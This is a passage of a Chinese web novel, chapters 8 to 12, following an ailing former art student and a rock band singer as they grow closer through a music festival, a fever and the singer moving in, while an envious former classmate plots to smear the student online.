周一察觉到这点,语气温和:“费臻提过一点你的事。别担心,我们节奏可以放慢,以你的状态和作品质量为优先。”
庄明越心里一暖,郑重应下:“我会尽力的,周编辑。”
二人敲定了一个相对宽松的初稿deadline。
即将结束通话时,周一像是忽然想起什么,语气随意地补充了一句:“对了,庄老师,费臻之前跟我说你心思比较细腻,情绪上可能需要多关照一点,让我多担待。不过我看你沟通起来挺清晰的嘛,跟他说的也不太一样,哪里容易哭了,他太夸张。”
周一的本意大概是调侃,或者拉近关系。
但这句话落在庄明越耳朵里又是另一回事。
容易哭?
费臻是这么跟别人介绍他的?
于是在回复完上午吃药情况后,庄明越找费臻算账。
庄明越:【你才容易哭!有你这么介绍我的吗?】
费臻很讨打地回了两个字:【哈哈。】
庄明越:【你再笑?】
费臻:【[闭嘴][玫瑰]】
庄明越:【?】
费臻:【不闹了,我道歉,为了表示诚意,请你帮忙填词。】
庄明越:【??】
庄明越:【你抓壮丁抓我头上了?我像是会填词的吗?】
等了一会儿,费臻发过来一条爆料:【你大概不知道,我们乐队的主打歌是郭扬的老婆填的词。人家也不是专业的,就是发自内心写出来的歌词,边打麻将边得到的灵感,我觉得你也能行,你可以边画边想。而且……】
费臻又发了一条让庄明越无法拒绝的语音。
“歌曲的灵感来源也是你。自从你离开学校后,我总是在想你现在在哪里,在做什么,总是后悔没有多和你说几句话,没有对你说,为了陈子深那种人,不值得。重新见到你的那一天,我就想,我要写一首歌,一首让你不会忘记的歌。”
庄明越:【。】
庄明越:【那你发过来,告诉我怎么填。】
这天上午,歌曲最终确定。
费臻发给庄明越,还提议要带着两个乐队成员到庄明越家里来一起填词,被庄明越挡了回去。
但庄明越被拉进了一个叫“第三视角”的小群,里面有五个人,三男两女,众人热情欢迎他,还说填词遇到问题了叫他们。
两周后的九月初,杭州红宝石音乐节如期展开。
庄明越接受了费臻的邀请,但到了音乐节当天,他却没能参加。
原因在前一天晚上,庄明越很少见地更新了朋友圈,把窝窝的油画发了上去,许久不曾联系的老同学赵唐便紧随其后地发来消息。
起初是寒暄,关心庄明越退学后的生活和身体状况,在得知庄明越似乎恢复了一些,还能接稿后,话锋一转,开始大吐苦水。
赵唐:【兄弟,你是不知道我现在多难!画稿收益简直血崩!以前画两个月,稳稳40到手,现在呢?砍半!直接腰斩!画这点破画,我还得了腰间盘突出和腱鞘炎!你说我上个什么班不好,非遭这个罪不可?】
庄明越:【40k?】
赵唐:【怎么可能,40万啊。】
赵唐:【我发论坛里吐槽,那群扑街画手非但不同情,还骂我凡尔赛,让我不想画就滚,别占着资源!你说他们心理是不是太扭曲了?纯嫉妒!】
庄明越看着屏幕上跳跃的文字,心里毫无波澜,甚至有点想笑。
基本上,他懒得回应这种变相的炫耀和求安慰。
但赵唐在学校时对庄明越态度很好,关怀备至,又是请他吃食堂,又帮他骂陈子深,庄明越原本想着,看在过去的份上,随便回复两句应付一下。
赵唐的下一条消息,却让庄明越的手指长时间顿在屏幕上。
【唉,这种从高处跌落的心情,学霸你肯定最能理解吧?对了,你现在行情怎么样?画一个月,几十个有吧?破百了没?像你这种美院天才中途陨落又触底反弹的故事性,资本最爱吃了,你肯定赚得比我多多了吧?有什么好渠道,别私藏,介绍介绍?】
字里行间,那种掩饰不住的窥探欲,以及将他当成励志商品评估价值的凉薄。
原来所谓的关心,只是赵唐为了彰显优越感的铺垫,以及想分一杯羹的算计。
庄明越没再回复,直接点开赵唐的头像,拉黑删除,动作一气呵成。
做完这些,庄明提前一个小时吃了药,又吃了一颗助眠的药,却还是觉得浑身都不舒服。
他按捺住想把这件事说给费臻听的冲动,起身去洗今天第二个澡,冲掉这份晦气。
走进浴室,打开花洒开关,调水温。冰凉的水流涌出,他正等着变热,突然——
砰!
一声巨响从墙壁水管传来!
外露的水管接口处毫无征兆地爆裂开,一股强劲的冷水猛地喷射而出,不偏不倚,劈头盖脸地浇了庄明越一身!
庄明越猝不及防,慌忙后退,脚下打滑,又差点摔倒。
固体的人瞬间被浇成液体形状,像萌宠视频里被花洒全面打湿的萨摩耶。
庄明越:6。
他疑心水管和赵唐一起合伙偷袭他,但他没有证据。
吹风机和浴巾泡在被水淹了的浴室里,庄明越手忙脚乱地出门,去关大门外两户共用的水管井里的总阀。
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>穿堂风阵阵吹过,水终于停下,庄明越浑身湿透,头发狼狈地贴在额前,滴滴答答地往下淌水。
庄明越回到卧室里,找换洗衣服把自己擦干,又折返回去,对着水漫金山的浴室发愣。
这算不算是多事之秋?
当天夜里,庄明越就发起烧来,直到第二天音乐节快开始也没退烧。
原定的闹钟响起,庄明越挣扎着醒来,给费臻发消息,说他有点事去不了了。
费臻没有回复,看演出时间,应该是在舞台后台准备登场。
庄明越找了块退烧贴贴上额头,又把晒过太阳的绿色绒垫紧紧贴近胸口。
九月的天气温度适宜,他却浑身发冷,裹着被子蜷在床上,点开音乐节官方账号,借着实况转播开始欣赏。
即使隔着屏幕,也能感受到现场的炽热气氛。
人潮汹涌,声浪狂热,歌手和乐队依次登场唱出主打曲目,与观众良好互动,将气氛不断推向顶点。
歌声阵阵,音乐悦耳,终于轮到了视角解构乐队,看到费臻登台献唱的瞬间,庄明越莫名感觉突然好了一点。
在被窝里看live别有一番滋味,镜头有时直接怼到费臻脸上,高清大脸毫无瑕疵,只是镜头比较吃妆,费臻的面貌和平日里大差不差,给人的感官却大不一样。
那是营业模式的费臻,舞台表现力极具侵略感。
他将整个舞台变成了他们乐队的领域。
如同魔王降临,现场爆发出阵阵激烈的叫喊声,观众们叫着乐队成员们的名字,高举爱的姓名牌。
费臻的笑涡在脸上浮现,从容又自信地演唱。
他紧握立式麦克风架,时而拖着支架疾走,时而停驻在舞台一隅,将麦克风对准现场,让观众们高声唱出耳熟能详的歌词。
每一个手势和动作都充满力量感和煽动性,灼热得像一团不熄灭的火,耀眼又危险,吸引飞蛾投火。
他用燃烧着的对音乐和观众的热情表达生命。
一曲终了,费臻松开麦克风架,从贝斯手手中接过吉他,弹奏起《夏日拯救》。
费臻唱出第一个字的同时,庄明越也跟着唱了起来。
又一曲结束,镜头落在现场随机观众身上,有年轻人在兴奋喊叫,也有中年人在疯狂鼓掌。
庄明越兀地后悔起昨晚发的那条朋友圈。要不是看到它,赵唐也不会找他,如果他不搭理赵唐,也不会被水滋,他现在本应该在现场看费臻的演出。
说不定还在前排,费臻的麦克风能凑到他身边,他还能跟着唱两句!
气死了气死了气死了!天杀的赵唐!去他的四十万!
费臻还没唱到庄明越填词的《遇见》,但突如其来的低落让庄明越放下手机,长时间地把脸埋在小垫子里。
时间像过去了几分钟,又像过去了一个世纪。
下一个乐队的歌曲前奏已然响起。
这边正emo,就听到在门外某个熟悉的声音:“小庄开门,我是费臻!”
庄明越:?
已经从爹地降级到费臻的小弟了是吗?是的。
9. 第 9 章
上午十点,费臻第一次没有发“早药”,取而代之的是他自己出现在庄明越家门口。
庄明越拖着发烧的身体开了门,一眼惊艳。
只见费臻脸上还带了妆,嘴唇涂着淡淡的口紫,身上罩着一件大码浅米色连帽外套,拉链拉到了最底,露出里面的演出服,隐约能看出宽肩窄腰,和这张英俊又侵略性十足的脸相得益彰。
庄明越:“啊……”
他深刻地理解了什么叫镜头吃妆。
舞台妆版的费臻视觉冲击太强,再加上庄明越发烧自带的模糊滤镜,费臻帅到过分了,给他当一秒钟小弟也不是不行。
费臻的目光第一时间落在庄明越脸上,锐利地扫过他烧得泛着不正常红晕的双颊和失焦的眼神,然后视线下移,不着痕迹地在庄明越的手腕上转了一圈。
原来没情绪崩溃,没闹脾气,没自残,只是发烧。
可是为什么会发烧?
费臻眉头蹙紧,抿起嘴唇,下颌线绷紧,带着显而易见的焦躁和疲惫,整个人紧绷而极具压迫感。
他一把拉下头上的帽兜,边喘气边问:“你怎么样?”
庄明越下意识地安抚:“你别急,慢慢说。”
费臻咳了两声,调整呼吸,把气喘匀。
“我还以为你情绪不好。抱歉,手机在工作人员那边,他们刚通知我。”
庄明越问:“音乐节呢?”
他看了一眼时间,费臻他们的表演在9点05分到9点50分,要唱八首左右的歌,费臻怎么这么早就来了?
庄明越心里咯噔一下。
费臻该不会是以为他出事,表演到一半把音乐节翘掉过来救他?
和费臻确认,果然如此!
罪过大了!
庄明越连忙撵人走:“我没事我真没事!”
然而他并不能推动费臻。
“已经结束了,庄明越,你也别着急。”费臻解释道,“只是没唱你写的那首歌,不在演出节目表上,除了乐队和主办方没人知道,没有太大问题。”
他半扶半抱地把庄明越带回床上,给他掖好被子角,不让庄明越的肩膀露出来。
庄明越裹着被子,看着费臻转身去厨房烧水,但水龙头里没有水。
费臻迷惑地问:“停水了?”
“我把总闸关了。”
“为什么?”
“这件事说来话长,总之家里没水。你别忙了,刚演出完很累了,坐下来休息一下?”
费臻闻言,放下烧水壶,往大门走去。
庄明越以为费臻想到了什么要赶回音乐节,却见费臻走出家门,很丝滑地敲开了对门小哥的门,问人家要了一杯温水。
费臻折返回来,把水递到庄明越唇边。
“喝。”
“我自己来。”
“算了,你别起来。”
庄明越被迫躺着,就着费臻的手喝完一杯水。
从这个角度,庄明越能更清楚地看到费臻脸上的疲惫,还有那双此刻专注望着自己的眼睛。
却不知道费臻也在认真地观察他。
烧红的脸颊终于不那么苍白,透出虚假的生气。长而硬挺的睫毛不适地微颤,还有几分是出于对被喂水的无所适从。
庄明越整个人有了温度和血色,少了些冷硬的棱角,却并不显得弱气,整个人的氛围感非常奇妙。
费臻觉得庄明越现在的样子有种说不出的感觉。
好像很容易靠近。
费臻清空杂念,想下楼去买药。
庄明越看他总是因为自己跑上跑下,还唱了快一个小时歌,嗓子都有点哑,可以想见打的到这个停车难的老小区后,是怎样在小区和楼道里又一路狂奔,状态绝对比他好不了多少。
庄明越连忙制止:“我叫外卖跑腿送药就可以了。”
“慢,我现在下去,给我两分钟。”
“都烧一晚上了不差这一会儿。”
庄明越说完觉得自己说错了话,费臻脸上的笑意明显淡了。
果不其然,费臻灵魂发问:“烧一晚上为什么不去医院?”
“只是着凉,谁去医院啊。”
庄明越露出了无辜又可恶的表情,费臻牙根发痒:“得肺炎也会死人。”
“别咒我啊你。”
“抱歉,我不是这个意思。”
费臻嘴上道歉,脸色却不太好。
庄明越和费臻说着话,已经下单了退烧药和新的退热贴。
庄明越翻转手机展示给费臻看:“马上就好,你就在这里休息一下,就当陪陪病人?”
费臻看完,坐到他床上,压着声音嗤笑:“你也知道你是病人。”
庄明越在枕头上歪了歪头:“让你担心了,对不起。”
“没对不起我,我没担心。”费臻想到正事,问道,“怎么感冒的?你不会是不想去音乐节故意冻的吧?”
庄明越声音提了几分:“怎么可能?我想去看的!”
费臻:“别激动,我只是开玩笑。到底怎么回事?”
庄明越嘟囔:“还不是都怪赵唐……”
庄明越将事情的来龙去脉讲了一遍,费臻听后扶住额头,没思考多久,就掏出手机,也和庄明越一样,把赵唐拉入了黑名单。
庄明越试图阻止失败:“他惹的不是你,你这样他会觉得莫名其妙。”
费臻冷笑一声:“那就让他觉得莫名其妙。我最讨厌的就是这种自己有点出息就恨不得把全天下的人踩在脚下的。这叫什么?小人得志。要是有下回,你告诉我,我想办法弄他。”
庄明越笑了起来:“这回呢?”
费臻抱起手臂:“暂时没想好,照顾你更重要,让他靠边站。”
庄明越的烧退得很快,费臻陪了他一下午,到了傍晚,庄明越的脑门就不热了,神志也清醒很多,还会反省自己觉得费臻化完妆更帅了的糟糕想法。
期间费臻叫了维修工,上门简单处理了一下爆掉的水管。
维修师傅提醒二人,最好跟房东商量一下,做彻底的检修,不然还会有下回。
庄明越联系房东,房东态度很好地打哈哈,说以后再说。
费臻打开总阀,烧完水,凑合着用清水和厨房的橄榄油卸了妆。
他还是不放心庄明越的突然发烧,觉得这身体似乎太虚了点:“我打个地铺,今晚睡这。”
庄明越摇头:“你不累吗,回去休息吧,我真没事。”
费臻:“真的?”
庄明越:“这次只是个意外。”
费臻把温水放在庄明越床头,又从外套的兜里摸出一个公仔。
Q版罗谢,拿着一支绿色小话筒。
他把公仔塞进庄明越的手里。
指尖碰到手心,公仔绒布料的绵软触感被传递给另一个人。
“这是?”
“音乐节主办方定制的,每个乐手都有一个,我的这个给你。”
“只有一个,那你自己……”
“我觉得你比较需要这种软软的东西。”
庄明越一噎。
“保持联系。我明天补觉,会晚醒,你记得吃药,有事多打几遍我的手机。”
庄明越把公仔搂在手里,连声说:“知道知道,你快回去。”
之后庄明越完全康复,没再发烧。
他把家里的药整理了一下,过期的扔,补充了一些新的备用,还给费臻发了照片。
费臻:【[拇指]】
费臻:【最近不过来了,排练。】
庄明越:【又排练?你不是刚休息两天?】
费臻:【两天够了,我们今年有二十场左右的音乐节出场加巡演,这个月底还有一场。】
庄明越:【这是能透露给我的吗?】
费臻:【为什么不能?】
庄明越:【那你加油,但别让我填词了。好尴尬,我怕你的听众吐槽你们乐队的歌词品味。】
费臻:【我们乐队
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其他歌的歌词也有人不喜欢,你可以搜搜。】
庄明越先前在填词时恶补费臻乐队的歌曲,歌词有的地方强行押韵,整体效果却不错,有的歌词易燃易boom,有的青春有活力,还有的故事性很强,一看就不是同一人写的歌词。
费臻对填词比较苦手,似乎抓了很多人过来帮忙,而他谱写的旋律又恰到好处地补全了这一点。
这次庄明越搜了很久,终于在犄角旮旯搜到一条吐槽。
【好希望sjjg的歌词能对标罗谢的脸蛋,球球了。】
庄明越反手发给费臻:【你在逗我,这算恶评?】
费臻:【骂得凶的时代已经过去了。】
费臻:【下次巡演,我会唱《遇见》,你一定要来。】
庄明越回了个ok,专心手头的工作。
又过了几天,庄明越赶在截稿前的一个星期,在把兔子绘本插画初稿发给周编辑之前,先发给了费臻。
费臻和周一相熟,二人聊得来,青睐的绘画风格也相似,庄明越想问问费臻有什么修改意见。
休息时段的费臻回复得很快:【就提一点,你的字没我的好看。】
庄明越:……
插画的字不是他的工作,原作者自己有书法功底,这也是她出版的第一本童书,她要自己负责印刷部分和手写部分的文字。
按照原作者要求,庄明越加了对话框,手写文字单纯是为了方便后续文字替换填入的效率。
虽然不是他的工作,但他也认真做了,没有被费臻比下去的义务!
庄明越不爽地打字:【比你的乐谱草稿好看多了。】
费臻:【那我觉得我还是略胜一筹。】
庄明越:【大人有大量,我不和你争,说说画。】
费臻简明扼要:【画得很可爱,插图传递的情感跟随故事层层递进,只要原作者说ok,你这单稿件就成了,自信一点。】
庄明越:【好,借你吉言。】
二人聊了画,又聊了乐队,最后聊了彼此最近闲暇时没在一起的时候在做什么,聊完之后彼此都觉得好像还能再聊一小会儿。
但一小会儿复一小会儿,一小会儿又何其多,不能耽误正事。
结束聊天之前,费臻发了一条点菜要求:【明天晚上不想吃大排,写歌写得上火,我要吃油麦菜,少许辣椒别放蒜,加两倍蚝油,不要生抽。】
庄明越盯着这条毫不客气的消息,轻笑一声。
真变兔子了?
庄明越预约了一单纯素的生鲜配送,同时回复费臻:【没有下次,你自己吃空气去吧!】
费臻表情三连:【[扔掉吉他][变成兔子][默默啃草]】
庄明越服了,这头快速给周编辑发文件,那头回复费臻:【可以可以可以!你来吧,别买东西!】
随后庄明越坐回画架前,继续画画。
第一单画稿发给作者确认前,周一就给了他第二单任务。
这次是只萨摩耶的肖像画,是它的两位主人为它定制了十周岁生日礼物,一副巨大的油画,准备挂在他们家别墅正中央,取代屋主的结婚照。
主人邮寄了几大箱东西,颜料、画布和画框一应俱全,价格不菲,有点奢侈品的意思。
庄明越已经很久没有接触到这些高级画材,从前他只看过班里家境富裕的同学在用,光是颜料已经够他使用很久,都能抵稿件费用。
他没想到自己这么快就用上了同款。
感叹甲方妈妈财大气粗,庄明越开始认真涂抹每一笔,力求物尽其用。
阳光透过窗户,照在画布上,油画颜料的味道在鼻尖萦绕。
Q版的费臻骑在画架最上方,话筒指向庄明越。
窝窝走的那些日子,庄明越一度害怕闻到颜料味,此刻却觉得很安心。
他边画边哼唱《遇见》。
他知道费臻能写出《遇见》是从他这里得到的灵感,却不知道这是费臻特别为他写的歌。
10. 第 10 章
费臻上门吃完油麦菜,露出满足的表情。
庄明越边说着“这么好养活”,点开微信,二度修改费臻的备注。
费臻原来的昵称是FZ,是扔到微信列表里找不到人的首字母缩写,庄明越嫌找起来麻烦,直接备注了“费臻”,现在他又有了新的想法。
费臻问:“改成什么了?”
庄明越改完,翻转手机,给费臻看屏幕。
【窝窝头】。
费臻:“?”
“手捧着窝窝头,菜里没有一滴油。”庄明越念了一句歌词,“夸你比窝窝还爱吃油麦菜,可以做它的老大。”
费臻低声说:“可我大概真的不是窝窝。”
庄明越没听清:“你说什么?”
费臻清清嗓:“我刚才没说话。”
庄明越反问:“你给我备注的什么?”
费臻露出一个淡定的微笑:“爱哭鬼。”
“你坏死算了。”
“我坏死了谁吃你炒的油麦菜?”
“我自己会吃!”庄明越揉了揉脸,认真发问,“你下次想吃什么?垂耳小兔的稿费下来了,你随便点,我学。”
费臻弯起眼角:“别忙了,下次我来烧。”
庄明越没想到费臻的这个所谓的“下次”如此的兴师动众。
正午时分,庄明越打开门,门外站着十个人,七个在逼仄的家门口,还有三个站不下的站在楼梯上。
庄明越:???
这一次,费臻没买食材,背着新买的吉他,拖着低调的黑色地平线5号行李箱。
在他的身后是专业装修公司的水电团队,还有贝斯手郭扬和鼓手冯泰。
就算上门讨债也没这么多人。
庄明越露出了“我没睡醒”的表情。
费臻解释:“搬到你家,挤挤。”
“你们三个吗?”庄明越满头问号,以为自己在做噩梦。
“等会儿,谁同意了,谁批准了,谁允许了?你上次只说要做饭,没说搬家吧?费臻,你这样先斩后奏很不好,我真的会生气的。”
“只有我一个。”费臻像是料到了庄明越的反应,声音平静但底气不足,“他们两个排练完了过来看看,认认门,万一有要紧事方便找我。你别担心,我就住两周,找好新家马上搬走,会付你房租,平时不会吵你。”
见庄明越看过来,两位乐队成员脸上立马挂上矜持的笑容。
面相精明的瘦高个是郭扬,手里抱着一个矮纸箱,里面是十几盆长势喜人的多肉植物。
“庄老师好,这些小盆栽就放您家厨房窗台上了哈。”
中等身材,个头不高但有点小帅的是冯泰。
“庄老师麻烦您多照顾我们臻哥,没提前通知您非常抱歉,臻哥也是临时被房东撵出……”
费臻捂他嘴:“没什么,这不是重点。”
庄明越指指这二人:“那你为什么不住他们家?”
费臻:“这两位都是已婚人士,不方便。”
庄明越:“我这边也不方便!你没看到我家有多小,你不会想跟我挤一张床吧,我会睡不着的,而且我讨厌除自己以外的男人,脚都好臭!”
冯泰和几名建筑公司的人闻言都默默地后退了两步。
郭扬笑着迎了上来:“庄老师,我们臻哥喷香,就算全世界男人死光了他都不会变臭的,你放心。”
庄明越怀疑:“真的吗?”
费臻点了点门外:“我买了床带过来,就睡客厅。”
庄明越一听,对费臻的自说自话更是气不打一处来:“不行,我不同意。”
费臻遗憾:“那我只能露宿街头了。”
庄明越抱起手臂:“多少粉丝排着队准备收留你。”
“睡歌迷家?”费臻光速拒绝,“我还不想上瓜条PPT和各大热搜头条。”
冯泰帮腔:“是的,我们臻哥又懒又要脸,他要是早知道自己会遗臭万年肯定会选择从最开始就摆烂的。”
庄明越:“懒?要脸?没看出来。”
冯泰视线转向费臻:“哎呦,还在人家面前凹人设。”
费臻发来死亡凝视。
装修公司的水电师傅们开始全面整修浴室的破水管,还有设计师在一旁出谋划策。
郭扬摇着头点评:“真是杀鸡用牛刀啊。”
费臻:“你们两个怎么还在?”
郭扬:“这就走哈不打扰二位同居。”
两个人把费臻的全部家当往客厅地上一放,和屋内其他人打个招呼准备先一步走人。
临了,冯泰还扭头对庄明越说了一句:“我们臻哥担心你呢,他就是想做骑士罢辽~”
郭扬胳膊肘捅了捅他,二人边说笑着,嘻嘻哈哈地离开。
庄
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明越还是第一次见到这两个当红乐队的大活人,这和各种宣传海报上的冷脸酷哥完全不一样!
“他们怎么这么高兴?平时也这样?”
“平时正经的很,现在嘛,”费臻轻描淡写地回答,“他们俩在磕我们cp。上头了变得比较邪门,非要跟着过来。直男乱磕起来就是没轻没重。”
庄明越脑子转不动了:“谁和谁?”
“我和你。”费臻帮郭扬和冯泰归纳了磕cp的标签,“死对头变情人,日久生情,都市生活。还有什么……哦,虐恋情深。”
费臻说得自己都快笑了,瞥了庄明越一眼,“你怎么没反应?”
“你也说了直男磕起来没轻重,我了解。”庄明越在这方面属于邪恶乐子人,以前身心状态良好的时候,常在各种cp圈子的画稿里来回穿梭吃粮,百无禁忌,眼下甚至有点好奇,“那什么,谁攻谁受啊?”
换费臻哽住了,顿了一会才说:“人家没有往睡觉的那方面磕。”
庄明越失了乐子,“哦”了一声,转头看到一个师傅正在客厅把床从包装里拆出来,组装床脚,才反应过来,又转向费臻:“不是!谁同意你住我家了!”
费臻笑了一声:“你反射弧还挺长。”
庄明越:“你才长!”
“我是很长。”费臻眯起眼笑,“谢谢夸奖。”
庄明越对费臻的曲解和厚脸皮有了新的认知。
但他没有特别排斥费臻入住,费臻要给他房租,庄明越也拒绝了。
他打开手机备忘录,给费臻看了账目明细。
“你在我家花了这么多,够两个月房费了,别再给我钱,还得找零,麻烦。”
费臻于是不再坚持,还挺遗憾。
费臻搬来后,连着两天都不在家,直到第三天早上才回来。
庄明越还没起床,听到开门的声音,睁开了眼,正对上轻手轻脚进卧室查看情况的费臻。
“吵醒你了?”
“本来也快醒了。”庄明越没有起床气,从被子里伸出一只胳膊,挥了一挥,“窝窝头,早。”
“嗯,早。”
又睡了个回笼觉,庄明越起床,书桌上放着费臻给他带的包子和豆浆。
他边吃边走去客厅,见客厅地板锃亮,地上还有未干的水汽,拖完地的费臻在床旁支了一张四十公分宽的小桌,正在鼓捣些什么。
11. 第 11 章
庄明越好奇地走了过去。
“写歌?”
“日记,每天都写。”
“忙的时候呢?”
“隔天补上。感兴趣吗?”
费臻退开了一点身体,好让庄明越的视线落在他的本子和速写画笔上。
庄明越没想到费臻还有做手帐的小爱好。
费臻并没有完全把在美院学的还给教授,在手帐本里画的风景、食物乃至各种抽象简笔画都非常灵动。
费臻的手帐本里还贴着各种消费凭证,一眼看去就见一家烧烤店的pos机小票,旁边画了热气腾腾的串串和啤酒。
费臻见庄明越想看,把本子往他怀里一塞:“随便翻。”
然后就去阳台和经纪人打电话,确定今天休息完之后,接下来几天的行程。
庄明越正好也想知道费臻前面两天在干什么,定睛一看,除了排练,还是排练,不过期间写了一首歌,还和人打了麻将。
费臻画了个麻将桌,还把自己胡牌的牌型画了出来。
本子本身只有A6大小,麻将桌在上面都画不大,麻将牌小小的很可爱。
旁边标注了:【大丨三丨元险胜,姑姑牌艺精进,她最近没少打。】
庄明越又看了几页,恍然大悟,原来姑姑是郭扬老婆的昵称,毕竟郭扬的绰号是过儿,他老婆就是小龙女。
放眼望去,费臻的字比以前潦草了许多,依稀能辨认出从前的字迹。
其他大部分日子记录着排练时间、曲目和遇到的问题,旁边画了简单的节奏型示意图和修改标记,字里行间能感受到费臻专注和一丝不苟的专业态度。
庄明越跳过那些晦涩的排练问题,翻找着,连他自己都不知道,为什么想看费臻在手帐本里写到的各种不同的东西。
果然让他找到一条:某日暴雨,费臻出门忘记带伞,被向来不对付的另一个乐队的主唱塞了一把雨伞,对方说虽然两个人交恶,但费臻这张宝藏级的脸不能被酸雨侵蚀。
费臻锐评:【有猫饼。】
旁边真的画了一个猫饼。
庄明越慢慢翻着,脸上不知不觉带了点笑,又往前翻了很多页。
突然,他的指尖触到了纸片一角。
这是一张质感和超市、饭馆票据的热敏纸都不同的纸,露在本子外貌的角是绿色的,手感偏软,没有扎到庄明越的手指。
庄明越抬起手来,指尖没有染色,但带上了类似复印纸的味道。
这个味道他异常熟悉,连忙翻开绿色纸片夹着的那一页,又将这张单据轻轻展开。
映入眼帘的是一张非常眼熟的单子,绿色底,深蓝色的文字,上面印着小诊所的名称和日期,以及手写的诊断意见、用药建议和复诊时间。
右下角还有庄明越那时候歪歪扭扭的签名。
是他在小诊所的处方单。
单子侧边已经被点点胶黏在本子上,费臻在本子空白处写了一句备忘。
【持续监督吃药,早晚十点提醒。】
简短的一行字,下笔有力,笔迹清晰,和费臻大学时候端正又不失锋芒的字体重合。
庄明越压住喉间的气音。
原来,他这么早就变成了费臻日记里的一部分。
费臻这本日记和普通本子不同,是五年日记。
庄明越再往前,“咦”了一声。
费臻说他每天都写,事后会补,结果两年前有好几周被直接跳过,很大一段空白,什么都没有记录。
再想往前翻,却见费臻丢下手机冲了过来,还差点让地上的水滑一跤。
庄明越:“当心!”
费臻站稳,视线还死死锁定在本子上。
庄明越小心翼翼地问:“你突然这是怎么了?”
费臻定了定神,回答:“没什么。”
庄明越眨了眨眼,福至心灵。
这么多日子以来,他虽然被费臻照顾,但却有处处被压制住的弱势感,费臻对他的好和他对窝窝的好差不多,就像饲主全心全意地照料宠物,善意又迁就。
正常和人相处时,庄明越不太喜欢这样,但没有办法,他现在也不太正常。得了这个机会,他想好好调侃一下费臻,探探他的反应。
庄明越边想着我可真恶劣啊,边弯起嘴角,露出狡黠促狭的神情,慢悠悠地开口:“这还没什么,你是不是在本子里记了什么不可告人的东西?现在才想起来不能让我看?”
费臻一愣:“没什么不可告人的。”
“哦
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~”庄明越慢慢地笑了起来,“弟弟今年几何?可曾品鉴过什么片,可曾试用过什么玩具?”
他问得极其直白,表情却十分正经,仿佛只是在讨论今天天气如何。
这种巨大的反差和直击要害的问题,瞬间让费臻的耳朵根以肉眼可见的速度红了起来。
“哎?你怎么害羞了?”
费臻压着声音低吼:“庄明越!”
总是自信笃定的双眼此刻瞪得溜圆,向来BKing意味十足的脸上流露出一丝难以置信的恼怒和慌乱。
费臻万万没想到,平日里看起来不食人间烟火又内向的庄明越,能面不改色地问出这种问题。
“咦,好难得啊,凶起来了,看来被我说中了?”
庄明越像是发现了新大陆,不退反进,笑意几乎要从眼角溢出来,“费臻,咱们艺术生不能性压抑,前两天你不夸下海口说自己很长吗?那么很长的你请坦率一点告诉我,你写在几年几月第几日?”
费臻一时语塞,胸口起伏了几下,才从牙缝里挤出几个字:“你说我是坏东西,我看你也好不到哪里去。”
庄明越见好就收:“两个人同频才能住到一起嘛。”
“嗯?”费臻被转移了注意力,“你终于松口了?”
“你床都买在这里,今天一来就把地拖得这么干净,我还能怎么样。”庄明越撇撇嘴,“装床的师傅走的时候我偷偷问了,他说这个床不便宜,二次拆装很麻烦的,很有可能弄坏,我看你是没想半天个月就搬走吧。”
费臻没有否认,还露出了心服口服的表情。
能让费臻服气,庄明越特别开心,心里笑翻了,一时也忘了问费臻的五年日记为什么会有这么长的空白。
“夏日拯救”的手机铃声响起,费臻下意识看了一眼自己的手机,意识到他的是默认铃声,现在的铃声来源只能是庄明越。
庄明越从睡裤口袋里摸出手机,边挑眉:“刚换的,我喜欢,不许吐槽。”
“没有。”费臻发出一声满足的叹息,“能被你设为铃声,这歌收藏量少两个零都值得。”
庄明越连忙呸呸:“不许说丧气话!”
他低头看屏幕,是个没被标记为骚扰电话的陌生号码,于是接了起来。
12. 第 12 章
“明越,是我啊。”
庄明越和费臻笑闹时的笑意缓缓消失:“赵唐,有事?”
“那个,我就想问问,上次咱们聊完,你是不是不小心手滑把我给拉黑了啊?”赵唐在那边干笑了两声,语气好得过分,“我这边有点事情想联系你,发现消息发不过去了。”
庄明越立刻听出了他话里的弯弯绕绕。
赵唐突然放低姿态来求和,而且是被他拉黑好几天以后,绝不会是因为在乎自己这个老同学。
联想到费臻也拉黑了赵唐的事,庄明越心里顿时了然,直接点破:“赵唐,你是不是发现费臻也把你拉黑了,联系不上他,所以才拐着弯来找我?”
电话那头明显噎了一下,沉默了几秒,才传来赵唐更加尴尬的声音。
“明越,咱们同学一场,上次在你面前显摆是我不对,我跟你道歉。但你看看,能不能帮帮忙让费臻把我加回去?我们两个人之间确实存在一些业务上的往来,他这样短信不回、电话不接,我这边很难办的。”
“业务往来?”庄明越挑了挑眉,用费臻桌上的活页草稿本记录了几笔,“行,帮你问问,但别抱太大希望。”
“好好好,谢谢你啊明越!真是麻烦你……”
没听他说完,庄明越掐了通话,把赵唐的话转述给费臻。
“拉他回来?有业务往来,他是这么说的?没有的事,他只帮我转发过一次巡演宣传,还特意漏掉了宣传海报和乐队名称。”费臻扯了一张活页纸,折成一只小兔,放在庄明越的掌心上。
“之前阿太就因为这件事膈应得很,劝我早点和他断绝来往,前两天听我说把赵唐拉黑了,他开心得像过年。”
见庄明越双手捧着纸兔子,脸上仍未消顾虑,费臻轻声叹息,“之前不删他,只是想从他那里得到更多关于你的消息。”
庄明越沉默地听完,低声说:“我现在就在这里。”
“谢谢你肯让我靠近。”费臻走到阳台,摘下画架上的Q版小人,折返回庄明越身边,小人的脸往庄明越的脑门上贴了贴,“我知道这些年你很不容易。”
庄明越的耳朵一下子烧了起来。
“好好说话,干嘛亲我!”
“只是公仔。”
“公仔也是你!不可!”庄明越撇嘴,“五岁之后就没人亲过我了,你好大的胆子!”
费臻笑出了声,庄明越也被他引得笑起来,笑了很久。
庄明越没把赵唐这事太放在心上,赵唐从此在他这里就是个无关紧要的过客。
但二人都没想到,赵唐的幺蛾子不止于此。
他在画师圈子里行事向来张扬高调,在绘画论坛上的账号因为长期炫耀收入、贬低同行,不知不觉拉了一大波仇恨。
最近发了那个表面上吐苦水实际上晒收入的热帖后,赵唐更是成了众矢之的,论坛里掀起了一股扒他皮又骂他“圈内毒瘤”的风潮。
眼看着自己那个从大一就开始精心经营,用来显摆和接稿的账号就要被扒出真实身份,影响到工作和生活,赵唐情急之下,想出了一招移花接木。
正好庄明越最近同他不太对付,二人又彼此熟悉,他整理了庄明越的高考成绩、家庭背景、后来退学和养兔等情况,将这些信息巧妙地与自己的部分真实情况混合篡改,然后通过一些小号“不经意”地泄露出去。
这一招果然奏效。
